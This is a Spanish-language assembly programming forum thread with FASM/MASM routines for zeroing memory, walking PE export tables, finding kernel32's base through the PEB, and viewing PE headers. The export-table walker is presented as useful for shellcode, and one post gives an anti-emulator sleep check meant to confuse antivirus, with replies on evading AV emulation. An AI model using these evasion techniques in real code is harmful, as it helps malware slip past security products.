Hola , muchas veces yo eh necesitado poner una cantidad de bytes en 0 , para esto hice una función que haga esto por mi , espero que les sirva.
proc Zerar,Puntero,Cantidad
push ecx
push ebx
mov ecx,[Cantidad]
mov ebx,[Puntero]
.bucle:
mov byte[ebx+ecx],0
loop .bucle
mov byte[ebx],0
pop ebx
pop ecx
ret
endp
buen code, pero el loop es muy lento
mejor así:
ZeroMem proc PMen:dword, SizeMen
push ebx
push ecx
push eax
mov ecx,[SizeMen]
mov ebx,4
mov eax,ecx
div ebx ;Comprueva si es multiplo de 4
cmp edx,0
je Mul4
sub ecx,edx
lea edx,[ecx+edx]
mov ebx,[PMen]
xor eax,eax
NoZero:
dec edx
mov byte ptr[ebx+edx],eax
cmp edx,ecx
jne NoZero
Mul4:
xor eax,eax
mov ebx,[PMen]
siguiente:
sub ecx,4
mov [ebx+ecx],eax ;Pone a cero hasta que ecx sea zero
jecxz zero
jmp siguiente
zero:
pop eax
pop ecx
pop ebx
ret
ZeroMem endp
saludos
Arcangel_0x7C5: ¿Y si SizeMen no es multiplo de 4? Digamos que es 5 ...
Igual supongo que ambos podrian usar rep movs ...
pos lo canbias un poco, yo es que todo lo que necesito poner a cero es multiplo de 4. Porque no uso los 64bist, y para las cadenas ya le pongo yo el 0 final
Entonces no es mejor asi, el codigo original no produce una excepcion al pasarle un tamaño de 5.
alegrado, ya no produce una excepción
Hola , luego de un buen rato programando , viendo manuales de el formato PE ( si gustan luego los posteo ) , termine la función GetAddressFunction quer permite obtener la dirección de cualquier función de una libreria , mediante el handle de la libreria (devuelto por LoadLibrary por ejemplo ) y el nombre de la función , esta función es muy util para shellcode , la función comparar tanto como la función len no son mias las pase para que se pudieran ensamblar con FASM ya que las originales son de MASM ( http://www.asmcommunity.net/board/index.php?topic=2626.0 ) , espero que les sea de utilidad.
proc GetAddressFunction,LibHandle,Api
locals
DirPEHeader dd ?
PunteroPEHeader dd ?
RVAofExportDirectory dd ?
NumberOfNames dd ?
AddressOfNames dd ?
AddressOfFunctions dd ?
endl
push ebx edx edi ecx
mov eax,[LibHandle]
cmp eax,NULL
je .Error
push dword[eax + 03Ch]
pop [DirPEHeader]
push [DirPEHeader]
pop [PunteroPEHeader]
add [PunteroPEHeader],eax
mov ebx,[PunteroPEHeader]
cmp word[ebx],"PE"
jne .Error
push dword[ebx+078h]
pop [RVAofExportDirectory]
mov ebx, [RVAofExportDirectory]
add ebx,eax
push dword[ebx+018h]
pop [NumberOfNames]
mov edx,[NumberOfNames]
push dword[ebx+20h]
pop [AddressOfNames]
mov ebx, [AddressOfNames]
add ebx,eax
mov ecx,[NumberOfNames]
mov edi,0
push [LibHandle]
pop [AddressOfFunctions]
mov ebx,[RVAofExportDirectory]
add eax ,ebx
push dword[eax+1ch]
pop [AddressOfFunctions]
.encontrar:
mov eax, 0x4
mul edi
mov ebx,eax
add ebx,[AddressOfNames]
add ebx,[LibHandle]
mov eax, [ebx]
add eax, [LibHandle]
add edi,1
stdcall comparar, [Api], eax
cmp ecx,NULL
je .Error
cmp eax, 0
jne .encontrar
dec edi
rol edi,2
mov eax,edi
add eax, [AddressOfFunctions]
add eax,[LibHandle]
mov eax, dword[eax]
add eax,[LibHandle]
pop ecx edi edx ebx
ret
.Error:
xor eax,eax ; xor eax,eax = NULL
ret
ret
endp
proc comparar ,SRC,DST
push edi ecx esi
stdcall Len,[SRC]
inc eax
mov ecx,eax
mov esi,[SRC]
mov edi,[DST]
repz cmpsb
mov eax,1
jnz Next
dec eax
Next:
pop esi ecx edi
ret
endp
proc Len , SRC
push ecx edi
mov ecx,-1
mov edi,[SRC]
mov al,0
repnz scasb
mov eax,ecx
not eax
dec eax
pop edi ecx
ret
endp
Una forma de obtener el handle de la kernel32 ( fuente: hackhound.org ):
mov eax, [fs:30h]
mov eax, [eax + 0ch]
mov esi, [eax + 1ch]
lodsd
mov eax, [eax + 08h]
Hola , basado en el source que hice para obtener la dirección de la función que uno desee de una libreria , hice un pequeño programa para listar todas las funciones de una libreria ( .dll ) , modificandolo un poco se podria hacer que este mismo programa cree .inc como el "kernel32.inc" que se encuentra en el fasm , que tiene todas (o casi todas ) las api's de la kernel32.dll , espero que les sirva de algo.
format pe console
espacio equ 13,10,0
include 'win32ax.inc'
.code
start:
invoke LoadLibrary,"user32.dll"
stdcall ListarFunciones,eax
invoke ExitProcess,0
proc ListarFunciones,LibHandle
locals
DirPEHeader dd ?
PunteroPEHeader dd ?
RVAofExportDirectory dd ?
NumberOfNames dd ?
AddressOfNames dd ?
endl
push ebx edx edi ecx
mov eax,[LibHandle]
cmp eax,NULL
je .Error
push dword[eax + 03Ch]
pop [DirPEHeader]
push [DirPEHeader]
pop [PunteroPEHeader]
add [PunteroPEHeader],eax
mov ebx,[PunteroPEHeader]
cmp word[ebx],"PE"
jne .Error
push dword[ebx+078h]
pop [RVAofExportDirectory]
mov ebx, [RVAofExportDirectory]
add ebx,eax
push dword[ebx+018h]
pop [NumberOfNames]
mov edx,[NumberOfNames]
push dword[ebx+20h]
pop [AddressOfNames]
mov ebx,[NumberOfNames]
mov edi, [AddressOfNames]
add edi,[LibHandle]
.bucle:
dec ebx
mov eax, [edi + ebx * 4]
add eax,[LibHandle]
invoke printf,eax
invoke printf,espacio
cmp ebx,0
jne .bucle
pop ecx edi edx ebx
ret
.Error:
ret
endp
.end start
Cita de: Eternal Idol en 02 Abril 2009, 13:28
Arcangel_0x7C5: ¿Y si SizeMen no es multiplo de 4? Digamos que es 5 ...
Igual supongo que ambos podrian usar rep movs ...
Hola , Eternal Idol , podrias poner un ejemplo , por que entiendo o creo entender el funcionamiento de movsx (mosvb,movsw,etc.. ) y segun tengo entendido la cantidad de 0 tendria que ser igual a la cantidad que se quiera rellenar con estos , tal vez me estoy confundiendo ya que para ser sincero nunca eh usado mosvx , me encantaria ver un source que rellene usando mosvx . Arcangel_0x7C5 ahora leere tu codigo , aunque a simple vista me parece mas rapido mi source , seria interesante que me dijieras como sacas lo que se demora cada instrucción , ya que desconozco como tomarles el tiempo ;)
Lo modifique y ahora crea imports para fasm a partir de cualquier libreria ;D
format pe console
espacio equ 13,10,0
include 'win32ax.inc'
.code
start:
stdcall CrearImport,"user32.dll","user32.inc"
invoke ExitProcess,0
proc CrearImport,NombreLIB,NombreImport
locals
DirPEHeader dd ?
PunteroPEHeader dd ?
RVAofExportDirectory dd ?
NumberOfNames dd ?
AddressOfNames dd ?
Funcion dd ?
HFile dd ?
Nosirve dd ?
Largo dd ?
LibHandle dd ?
endl
push ebx edx edi ecx
invoke LoadLibrary, [NombreLIB]
mov [LibHandle],eax
cmp eax,NULL
je .Error
push dword[eax + 03Ch]
pop [DirPEHeader]
push [DirPEHeader]
pop [PunteroPEHeader]
add [PunteroPEHeader],eax
mov ebx,[PunteroPEHeader]
cmp word[ebx],"PE"
jne .Error
push dword[ebx+078h]
pop [RVAofExportDirectory]
mov ebx, [RVAofExportDirectory]
add ebx,eax
push dword[ebx+018h]
pop [NumberOfNames]
mov edx,[NumberOfNames]
push dword[ebx+20h]
pop [AddressOfNames]
mov ebx,[NumberOfNames]
mov edi, [AddressOfNames]
add edi,[LibHandle]
invoke CreateFileA, [NombreImport], GENERIC_WRITE, 0, 0, CREATE_ALWAYS, 0, 0
mov [HFile], eax
invoke lstrlen,"import "
invoke WriteFile, [HFile], "import ",eax,addr Nosirve, NULL
invoke lstrlen,[NombreLIB]
sub eax,4
invoke WriteFile, [HFile], [NombreLIB],eax,addr Nosirve, NULL
invoke WriteFile,[HFile] , ",\",2,addr Nosirve, NULL
invoke WriteFile, [HFile], espacio,2,addr Nosirve, NULL
.bucle:
dec ebx
mov eax, [edi + ebx * 4]
add eax,[LibHandle]
mov [Funcion],eax
invoke lstrlen, [Funcion]
invoke WriteFile, [HFile], [Funcion],eax,addr Nosirve, NULL
invoke WriteFile, [HFile],",",1,addr Nosirve, NULL
invoke WriteFile, [HFile],"'",1,addr Nosirve, NULL
invoke lstrlen, [Funcion]
invoke WriteFile, [HFile], [Funcion],eax,addr Nosirve, NULL
.if ebx = 0
invoke WriteFile, [HFile],"'",1,addr Nosirve, NULL
.else
invoke WriteFile, [HFile],"',\",3,addr Nosirve, NULL
invoke WriteFile, [HFile], espacio,2,addr Nosirve, NULL
.endif
cmp ebx,0
jne .bucle
invoke CloseHandle, [HFile]
pop ecx edi edx ebx
ret
.Error:
ret
endp
.end start
Volvi a mejorar un poco el source :
format pe console
espacio equ 13,10,0
include 'win32ax.inc'
.data
RutaLib rb MAX_PATH
RutaINC rb MAX_PATH
.code
start:
invoke printf,"Ingrese la ruta de la libreria:"
invoke printf,espacio
invoke scanf,"%s",RutaLib
invoke printf,"Ingrese la ruta de la donde se generara el include:"
invoke printf,espacio
invoke scanf,"%s",RutaINC
stdcall CrearImport,RutaLib,RutaINC
invoke ExitProcess,0
proc CrearImport,NombreLIB,NombreImport
locals
DirPEHeader dd ?
PunteroPEHeader dd ?
RVAofExportDirectory dd ?
NumberOfNames dd ?
AddressOfNames dd ?
Funcion dd ?
HFile dd ?
Nosirve dd ?
Largo dd ?
LibHandle dd ?
endl
push ebx edx edi ecx
invoke LoadLibrary, [NombreLIB]
mov [LibHandle],eax
cmp eax,NULL
je .Error
push dword[eax + 03Ch]
pop [DirPEHeader]
push [DirPEHeader]
pop [PunteroPEHeader]
add [PunteroPEHeader],eax
mov ebx,[PunteroPEHeader]
cmp word[ebx],"PE"
jne .Error
push dword[ebx+078h]
pop [RVAofExportDirectory]
mov ebx, [RVAofExportDirectory]
add ebx,eax
push dword[ebx+018h]
pop [NumberOfNames]
mov edx,[NumberOfNames]
push dword[ebx+20h]
pop [AddressOfNames]
mov ebx,[NumberOfNames]
mov edi, [AddressOfNames]
add edi,[LibHandle]
invoke CreateFileA, [NombreImport], GENERIC_WRITE, 0, 0, CREATE_ALWAYS, 0, 0
mov [HFile], eax
invoke lstrlen,"import "
invoke WriteFile, [HFile], "import ",eax,addr Nosirve, NULL
invoke lstrlen,[NombreLIB]
sub eax,4
invoke WriteFile, [HFile], [NombreLIB],eax,addr Nosirve, NULL
invoke WriteFile,[HFile] , ",\",2,addr Nosirve, NULL
invoke WriteFile, [HFile], espacio,2,addr Nosirve, NULL
.bucle:
dec ebx
mov eax, [edi + ebx * 4]
add eax,[LibHandle]
mov [Funcion],eax
invoke lstrlen, [Funcion]
invoke WriteFile, [HFile], [Funcion],eax,addr Nosirve, NULL
invoke WriteFile, [HFile],",",1,addr Nosirve, NULL
invoke WriteFile, [HFile],"'",1,addr Nosirve, NULL
invoke lstrlen, [Funcion]
invoke WriteFile, [HFile], [Funcion],eax,addr Nosirve, NULL
.if ebx = 0
invoke WriteFile, [HFile],"'",1,addr Nosirve, NULL
.else
invoke WriteFile, [HFile],"',\",3,addr Nosirve, NULL
invoke WriteFile, [HFile], espacio,2,addr Nosirve, NULL
.endif
cmp ebx,0
jne .bucle
invoke CloseHandle, [HFile]
invoke system,"cls"
invoke printf,"Extraida las funciones de: "
invoke printf,RutaLib
invoke printf,espacio
invoke printf,espacio
invoke printf,"El include ah sido generado en : "
invoke printf,RutaINC
invoke printf,espacio
invoke printf,espacio
invoke printf,"Con "
invoke printf,"%d",[NumberOfNames]
invoke printf," funciones extraidas."
invoke printf,espacio
invoke system,"pause"
pop ecx edi edx ebx
ret
.Error:
invoke system,"cls"
invoke printf,"Ocurrio un error durante la extracciòn."
invoke printf,espacio
invoke system,"pause"
ret
endp
.end start
PD: Mi win32ax.inc tiene algunas mejoras y le eh agragado todas las .inc de mi post anterior (http://foro.elhacker.net/programacion_general/aporte_inc_con_apis_de_distitnas_librerias_para_fasm-t250659.0.html) para que si quieren compilar el codigo hagan eso ya que tal cual con la win32ax.inc que viene por defecto en FASM no va a compilar.
Perdon, movs es para strcpy, en este caso queremos stos:
ZeroMemory:
xor al, al ;valor a escribir (0)
mov ecx, dword ptr [esp+8] ;cantidad de veces
mov edi, dword ptr [esp+4] ;buffer
rep stosb
ret
El codigo de Arcangel_0x7C5 es mas rapido que el tuyo por trabajar con DWORDs y no con BYTEs. Puede que sea mas rapido que este tambien (depende de la cantidad de BYTEs a escribir) ... pero una combinacion de rep stosd y mov (para los bytes que sobren del ultimo DWORD que no sea completo) es lo que usa la RTL de VC++ normalmente.
Cita de: Eternal Idol en 03 Abril 2009, 09:27Perdon, movs es para strcpy, en este caso queremos stos:
Código
ZeroMemory:
xor al, al ;valor a escribir (0)
mov ecx, dword ptr [esp+8] ;cantidad de veces
mov edi, dword ptr [esp+4] ;buffer
rep stosb
ret
El codigo de Arcangel_0x7C5 es mas rapido que el tuyo por trabajar con DWORDs y no con BYTEs. Puede que sea mas rapido que este tambien (depende de la cantidad de BYTEs a escribir) ... pero una combinacion de rep stosd y mov (para los bytes que sobren del ultimo DWORD que no sea completo) es lo que usa la RTL de VC++ normalmente.
Claro , ahora leyendo el source de arkangel me doy cuenta que trabaja con dword's y por lo tanto es mas rapido ( obviamente si yo trabajo byte por byte y el de arkangel de a 4 ) , en todo caso en un relleno de 3 bytes por ejemplo el mio seria mas rapido , no ? ya que hace menos comprobaciones ; mas tarde cuando vuelva mejoro el source para que sea lo mas rapido posible ;)
Muchas gracias ;D
Estaba cansado de tener que hacer los Imports a mano cuando no estaban declaradas algunas APIs ;-)
Cita de: Karcrack en 03 Abril 2009, 15:40
Muchas gracias ;D
Estaba cansado de tener que hacer los Imports a mano cuando no estaban declaradas algunas APIs ;-)
Claro , da un poco de flojera estar declarando todo manualmente cada vez , dando un consejo , no remplacen su kernel32.inc ni ninguna que venga por defecto aunque muchas estan incompletas , ya que este generador de includes no discrimina cuando hay un api como "CreateProcessA" y "CreateProcessW" entonces si lo remplasan tendrian que llamar a la api como CreateProcessA en vez de llamarla como CreateProcess , haber si mas tarde logro hacer que discrimine esto ;)
Cita de: YST en 3 Abril 2009, 05:18 AM
Cita de: Eternal Idol en 2 Abril 2009, 13:28 PM
Arcangel_0x7C5: ¿Y si SizeMen no es multiplo de 4? Digamos que es 5 ...
Igual supongo que ambos podrian usar rep movs ...
Hola , Eternal Idol , podrias poner un ejemplo , por que entiendo o creo entender el funcionamiento de movsx (mosvb,movsw,etc.. ) y segun tengo entendido la cantidad de 0 tendria que ser igual a la cantidad que se quiera rellenar con estos , tal vez me estoy confundiendo ya que para ser sincero nunca eh usado mosvx , me encantaria ver un source que rellene usando mosvx . Arcangel_0x7C5 ahora leere tu codigo , aunque a simple vista me parece mas rapido mi source , seria interesante que me dijieras como sacas lo que se demora cada instrucción , ya que desconozco como tomarles el tiempo ;).
y tan bien es mas rápido por no usar loop, en en los 486 se a vuelto mas lento que su equivalente con varias instrucciones. y que yo sepa ya no se lleva el 386. En el archivo de ayuda del masm sale los tiempos de cada instrucción en cada familia procesadores
PD:yo no mido nunca los tiempos
No tenia idea eso de el loop , que interesante , gracias por informarme ;) .
Cita de: YST en 3 Abril 2009, 04:22 AM
Una forma de obtener el handle de la kernel32 ( fuente: hackhound.org ):
mov eax, [fs:30h]
mov eax, [eax + 0ch]
mov esi, [eax + 1ch]
lodsd
mov eax, [eax + 08h]
una cosa, Que es lo que hay en [fs:30h]?
Yo para sacar la base de kernel32 usaba la direccion de retorno que deja CreateProcess al pasar el control a tu programa con "call". Luego era solo cuestion de buscar "MZ" pero invertida. y ya la tienes.
A y no entiendo el porque de tanto "push" y "pop"
No es mas facil hacer mov a un registro
Saludos.
PD:Si te interesa el virin te invito a que hagas clic en el enlace de mi firma
Cita de: Arcangel_0x7C5 en 4 Abril 2009, 00:12 AMuna cosa, Que es lo que hay en [fs:30h]?
La direccion de memoria donde esta el PEB.
Cita de: Arcangel_0x7C5 en 04 Abril 2009, 00:12
A y no entiendo el porque de tanto "push" y "pop"
No es mas facil hacer mov a un registro
La razón principal es que quise que se explicara un poco el code mediante las variables y no se puede hacer un "mov [AddressOfNames].dword[ebx+20h] " esa es la razón , aunque facilmente se pueden eliminar todas las variables.
Citar
PD:Si te interesa el virin te invito a que hagas clic en el enlace de mi firma
Muchas gracias , voy a ver esa comunidad.
Cita de: YST en 4 Abril 2009, 00:28 AM
Cita de: Arcangel_0x7C5 en 4 Abril 2009, 00:12 AM
A y no entiendo el porque de tanto "push" y "pop"
No es mas facil hacer mov a un registro
La razón principal es que quise que se explicara un poco el code mediante las variables y no se puede hacer un "mov [AddressOfNames].dword[ebx+20h] " esa es la razón , aunque facilmente se pueden eliminar todas las variables.
y no se puede hacer mov de mem a mem pero creo que era mas rapido de mem a reg que hacer push mem y ala inbersa. ya te digo que yo no mido la velocidad, pero como de todas maneras tienes que pasarlo a un registro para usarlo
tengo ese code con una sola variable.
Y para explicar el code puedes poner comentarios diciendo lo que haces y a donde apunta.
En esa comunidad no somos muchos los que siempre escribimos, por eso suele haber buen nivel en lo que se postea
Saludos
Arregle un poco el coidigo ( lo que se puede arreglar estnado cansado ) , mañana si gustan lo termino de arreglar.
salu2
proc GetAddressFunction,LibHandle,Api
locals
AddressOfNames dd ?
AddressOfFunctions dd ?
endl
push ebx edx edi ecx esi
mov eax,[LibHandle]
cmp eax,NULL
je .Error
mov ebx, dword[eax + 03Ch]
add ebx,eax
cmp word[ebx],"PE"
jne .Error
mov esi,dword[ebx+078h]
mov ebx,esi
add ebx,eax
push dword[ebx+20h]
pop [AddressOfNames]
add [AddressOfNames] ,eax
mov ecx,dword[ebx+018h]
mov edi,0
mov ebx,esi
add eax ,ebx
push dword[eax+1ch]
pop [AddressOfFunctions]
.encontrar:
dec ecx
mov eax, 0x4
mul edi
mov ebx,eax
add ebx,[AddressOfNames]
mov eax, [ebx]
add eax, [LibHandle]
inc edi
stdcall comparar, [Api], eax
cmp ecx,NULL
je .Error
cmp eax, 0
jne .encontrar
dec edi
rol edi,2
mov eax,edi
add eax, [AddressOfFunctions]
add eax,[LibHandle]
mov eax, dword[eax]
add eax,[LibHandle]
pop esi ecx edi edx ebx
ret
.Error:
xor eax,eax ; xor eax,eax = NULL
pop esi ecx edi edx ebx
ret
ret
endp
proc comparar ,SRC,DST
push edi ecx esi
stdcall Len,[SRC]
inc eax
mov ecx,eax
mov esi,[SRC]
mov edi,[DST]
repz cmpsb
mov eax,1
jnz Next
dec eax
Next:
pop esi ecx edi
ret
endp
proc Len , SRC
push ecx edi
mov ecx,-1
mov edi,[SRC]
mov al,0
repnz scasb
mov eax,ecx
not eax
dec eax
pop edi ecx
ret
endp
mi code es este, es masm pero tanpoco cambia tanto.
Getproadress proc PBaseDll:dword, PNombreFun:dword
LOCAL NumFun
push edx
push ecx
push esi
push edi
mov edx,[PBaseDll] ;Encontrar funcion pedida en la dll especificada
cmp word ptr[edx],'ZM'
je MZ
cmp word ptr[edx],'MZ'
je MZ
NoPE:
xor eax,eax
jmp NoEncontre
MZ:
xor ecx,ecx
add edx,[edx+3ch]
cmp word ptr[edx],'EP'
jne NoPE ;Cabecera PE
mov edx,[edx+78h]
;Tabla de Exportaciones
mov edi,[18h+edx]
mov [NumFun],edi
add edx,[PBaseDll]
mov edi,[edx+20h] ;AddressOfNames
add edi,[PBaseDll]
jmp busca
NoEs:
cmp ecx,[NumFun]
je NoEncontre
inc ecx
add edi,4
busca:
mov esi,[edi]
add esi,[PBaseDll]
push esi
push [PNombreFun]
call cmpsrt
cmp eax,0
jne NoEs
; AddressOfNameOrdinals
mov edi,[edx+24h]
add edi,[PBaseDll]
rol ecx,1h
add edi,ecx
movzx ecx,word ptr [edi]
; AddressOfFunctions
rol ecx,2h
mov esi,dword ptr [edx+1ch]
add ecx,[PBaseDll]
add ecx, esi
mov eax,[ecx]
add eax,[PBaseDll]
jmp bien
NoEncontre:
xor eax,eax
bien:
pop edi
pop esi
pop ecx
pop edx
ret 8
Getproadress endp
Le corregi algunas cosas inutiles , no son muchas modificaciones las que le hice a mis source pero creo que lo debo postear igual
include 'win32ax.inc'
.code
start:
invoke LoadLibrary,"user32.dll"
stdcall GetAddressFunction,eax,"MessageBoxA"
stdcall eax,0,0,0,0
invoke ExitProcess,0
proc GetAddressFunction,LibHandle,Api
locals
AddressOfNames dd ?
AddressOfFunctions dd ?
endl
push ebx edx edi ecx esi
mov eax,[LibHandle]
cmp eax,NULL
je .Error
mov ebx, dword[eax + 03Ch]
add ebx,eax
cmp word[ebx],"PE"
jne .Error
mov esi,dword[ebx+078h]
mov ebx,esi
add ebx,eax
push dword[ebx+20h]
pop [AddressOfNames]
add [AddressOfNames] ,eax
mov ecx,dword[ebx+018h]
xor edi,edi
add eax ,esi
push dword[eax+1ch]
pop [AddressOfFunctions]
sub eax,esi
add [AddressOfFunctions] ,eax
.encontrar:
dec ecx
mov eax,edi
rol eax,2
add eax,[AddressOfNames]
mov eax, dword[eax]
add eax, [LibHandle]
inc edi
stdcall comparar, [Api], eax
cmp ecx,NULL
je .Error
cmp eax, 0
jne .encontrar
dec edi
rol edi,2
mov eax,edi
add eax, [AddressOfFunctions]
mov eax, dword[eax]
add eax,[LibHandle]
pop esi ecx edi edx ebx
ret
.Error:
xor eax,eax ; xor eax,eax = NULL
pop esi ecx edi edx ebx
ret
endp
proc comparar ,SRC,DST
push edi ecx esi
mov ecx,-1
mov edi,[SRC]
mov al,0
repnz scasb
mov eax,ecx
not eax
mov ecx,eax
mov esi,[SRC]
mov edi,[DST]
repz cmpsb
mov eax,1
jnz Next
dec eax
Next:
pop esi ecx edi
ret
endp
.end start
Hola , decidi pasar la función AntiEmulaters desarrollada por ChainCoder en el lenguaje de programación delphi a ASM , espero que les sirva
Codigo original:
Function AntiEmulaters:Boolean;
Var
UpTime :DWORD;
UpTimeAfterSleep :Dword;
Begin
UpTime := GetTickCount;
Sleep(Strtoint('5'+'0'+'0'));
UpTimeAfterSleep := GetTickCount;
if ( UpTimeAfterSleep - UpTime ) < 500 Then
Result:= True Else Result:= False;
end;
Codigo traducido:
antiemulator:
push ebx ecx
invoke GetTickCount
mov ebx,eax
mov eax,2
mov ecx,250
mul ecx
invoke SleepEx,eax,FALSE ; 250 * 2= 500 ( para confundir un poco el antivirus )
invoke GetTickCount
sub eax,ebx
cmp eax,500
jl .si
mov eax,FALSE
pop ecx ebx
ret
.si:
pop ecx ebx
mov eax,TRUE
ret
Creo que al poner:
125*2*2
No confundes a ningun AV... ya que el FASM ya te lo calcula y pone el 500, talvez haciendo otras cosas, como por ejemplo esto, si que marees mas al AV:
xor ebx, ebx
mov ecx, 500
@@: inc ebx
loop @B
Creo que tendrias que explicar que la mayoria de Emuladores de los AVs se saltan algunas APIs... como esta... asi que, los AVs no duermen :xD
Saludos ;)
Cita de: Karcrack en 04 Abril 2009, 14:11
Creo que al poner:
125*2*2
No confundes a ningun AV... ya que el FASM ya te lo calcula y pone el 500, talvez haciendo
Cierto , no me habia fijado .
oorale que bien suena esto recientemente empeze a tener curiosidad de como sacar las funciones de una dll :P y mira con lo que me vengo a encontrar jaja servira de mucho sobre todo apra darme una idea de como lo ahces mm una pregunta :p te devulve el nombre de las funciones y tambien que parametros y valores devuelve? por cierto muy buenos codigos ;-)
Los parametros de las api's sera imposible de sacar y los valores que devuelve , no no lo toma ya que hay la unica manera que encuentro es ahcel algo como un debugger y ver que manda a eax .
el peso de los parámetros se podría sacar mirando los mov X ,[ebp + X], pero el tipo de valor debuelto no, porque en asm esencialmente solo hay unos pocos tipos, según el tamaño y punteros.
saludos
Claro , los parametros como mucho se les podria sacar peso y cantidad de parametros.
Hola , viendo una funcion desarrollada por un user de este foro , decidi hacer la mia propia ya que encontre que esta funcion se podia mejorar bastante , bueno se las dejo , el parametro que hay que pasarle es el "MZ" de el archivo , lo pueden cargar con LoadLibrary si se quiere ;).
proc EOFExtraDataExtract,FHandle
push esi ebx
mov eax,[FHandle]
mov esi,dword[eax+03ch] ;Offset to start of PE header
add esi,eax
movzx ebx, word[esi+06h] ;Number Of Sections
dec ebx
mov eax,28h
mul ebx
add esi,0xf8 ;START OF SECTION TABLE
add esi,eax
mov eax,dword[esi+10h] ;SizeOfRawData
add eax,dword[esi+14h] ;pointerToRawData
pop ebx esi
ret
endp
Hola , basado en el visor PE de novirusthanks.org hice un modesto visor PE
format pe console
Espacio equ 13,10,0
include 'win32ax.inc'
.data
Logo db '===================================',13,10
db '= Humilde visor PE by YST =',13,10
db '===================================',13,10,0
RutaArch rb MAX_PATH
HA dd ?
bEscritos dd ?
Log dd ?
CrearLOG rb 10
.code
start:
invoke printf,Logo
invoke printf,Espacio
invoke printf,"Ponga la ruta a escanear: "
invoke printf,Espacio
invoke scanf,"%s",RutaArch
invoke printf,Espacio
invoke printf,Espacio
invoke LoadLibrary,RutaArch
stdcall Visualisar,eax
invoke ExitProcess,0
proc Visualisar,FHandle
push edi esi ebx
.if [FHandle] = NULL
jmp .error
.endif
mov eax,[FHandle]
cmp word[eax],"MZ"
jne .error
mov eax,[FHandle]
mov esi,dword[eax+03ch] ;Offset to start of PE header
invoke printf,"%s","start of PE header: "
invoke printf,"0x%x",esi
invoke printf,"%s",Espacio
add esi,[FHandle]
movzx ebx, word[esi+06h] ;Number Of Sections
invoke printf,"%s","TimeDateStamp: "
invoke printf,"0x%x",dword[esi+8h]
invoke printf,"%s",Espacio
invoke printf,"%s","SizeOfCode: "
invoke printf,"0x%x",dword[esi+1ch]
invoke printf,"%s",Espacio
invoke printf,"%s","Address Of Entry Point: "
invoke printf,"0x%x",dword[esi+28h]
invoke printf,"%s",Espacio
invoke printf,"%s","ImageBase: "
invoke printf,"0x%x",dword[esi+34h]
invoke printf,"%s",Espacio
invoke printf,"%s","SizeOfImage: "
invoke printf,"0x%x",dword[esi+50h]
invoke printf,"%s",Espacio
invoke printf,"%s","SizeOfHeaders : "
invoke printf,"0x%x",dword[esi+54h]
invoke printf,"%s",Espacio
invoke printf,"%s","CheckSum : "
invoke printf,"0x%x",dword[esi+58h]
invoke printf,"%s",Espacio
invoke printf,"%s","Subsystem: "
.if dword[esi+5Ch] = 2h
invoke printf,"%s","Windows GUI"
.else
invoke printf,"%s","Windows CUI"
.endif
invoke printf,"%s",Espacio
invoke printf,"%s","Posicion de el EOF: "
stdcall EOFExtraDataExtract,[FHandle]
invoke printf,"0x%x",eax
invoke printf,"%s",Espacio
invoke printf,"%s",Espacio
invoke printf," SECTION'S "
invoke printf,"%s",Espacio
invoke printf,"%s",Espacio
invoke printf,"%s","Numero de secciones: "
invoke printf,"0x%x",ebx
invoke printf,"%s",Espacio
invoke printf,"%s",Espacio
.bucle:
dec ebx
mov eax,28h
mul ebx
add eax,0xf8
add eax,esi
mov edi,eax
invoke printf,"Name: "
invoke printf,"%s",edi
invoke printf,"%s",Espacio
invoke printf,"virtual address: "
invoke printf,"0x%x",dword[edi+0ch]
invoke printf,"%s",Espacio
invoke printf,"VirtualSize : "
invoke printf,"0x%x",dword[edi+08h]
invoke printf,"%s",Espacio
invoke printf,"SizeOfRawData: "
invoke printf,"0x%x",dword[edi+10h]
invoke printf,"%s",Espacio
invoke printf,"pointerToRawData : "
invoke printf,"0x%x",dword[edi+14h]
invoke printf,"%s",Espacio
invoke printf,"Characteristics : "
invoke printf,"0x%x",dword[edi+24h]
invoke printf,"%s",Espacio
invoke printf,"%s",Espacio
invoke printf,"%s",Espacio
cmp ebx,0
jne .bucle
mov eax,[FHandle]
add eax,dword[eax+3ch]
.if dword[eax+78h] = 0
.else
invoke printf," EXPORT "
invoke printf,"%s",Espacio
invoke printf,"%s",Espacio
stdcall ListarFunciones,[FHandle]
.endif
;ListarImport
invoke printf," Import's "
invoke printf,Espacio
invoke printf,Espacio
mov eax,[FHandle]
add eax,dword[eax+3ch]
.if dword[eax+80h] = 0
invoke printf,"No incluye librerias ( .dll ) ."
.else
stdcall ListarImport ,[FHandle]
.endif
pop ebx esi edi
ret
.error:
invoke printf,"Ingrese un archivo valido."
pop ebx esi edi
ret
endp
proc EOFExtraDataExtract,FHandle
push esi ebx
mov eax,[FHandle]
mov esi,dword[eax+03ch] ;Offset to start of PE header
add esi,eax
movzx ebx, word[esi+06h] ;Number Of Sections
dec ebx
mov eax,28h
mul ebx
add esi,0xf8 ;START OF SECTION TABLE
add esi,eax
mov eax,dword[esi+10h] ;SizeOfRawData
add eax,dword[esi+14h] ;pointerToRawData
pop ebx esi
ret
endp
proc ListarFunciones,LibHandle
locals
DirPEHeader dd ?
PunteroPEHeader dd ?
RVAofExportDirectory dd ?
NumberOfNames dd ?
AddressOfNames dd ?
endl
push ebx edx edi ecx
mov eax,[LibHandle]
cmp eax,NULL
je .Error
push dword[eax + 03Ch]
pop [DirPEHeader]
push [DirPEHeader]
pop [PunteroPEHeader]
add [PunteroPEHeader],eax
mov ebx,[PunteroPEHeader]
cmp word[ebx],"PE"
jne .Error
push dword[ebx+078h]
pop [RVAofExportDirectory]
mov ebx, [RVAofExportDirectory]
add ebx,eax
push dword[ebx+018h]
pop [NumberOfNames]
mov edx,[NumberOfNames]
push dword[ebx+20h]
pop [AddressOfNames]
mov ebx,[NumberOfNames]
invoke printf,"%s" ,"Cantidad de funciones exportadas: "
invoke printf,"%d",[NumberOfNames]
invoke printf,Espacio
invoke printf,Espacio
invoke printf,"Funciones exportadas: "
invoke printf,Espacio
mov edi, [AddressOfNames]
add edi,[LibHandle]
.bucle:
dec ebx
mov eax, [edi + ebx * 4]
add eax,[LibHandle]
invoke printf,"-%s",eax
invoke printf,Espacio
cmp ebx,0
jne .bucle
pop ecx edi edx ebx
ret
.Error:
ret
endp
proc ListarImport,FHandle
push eax ebx edi
mov ebx,[FHandle]
add ebx,dword[ebx+03ch]
mov ebx,dword[ebx+80h]
add ebx,[FHandle]
xor edi,edi
.bucle:
mov eax,dword[ebx+0ch]
add eax,[FHandle]
.if eax = [FHandle]
invoke printf,"Cantidad de librerias importadas: %d",edi
invoke printf,Espacio
ret
.else
inc edi
invoke printf,"%s",eax
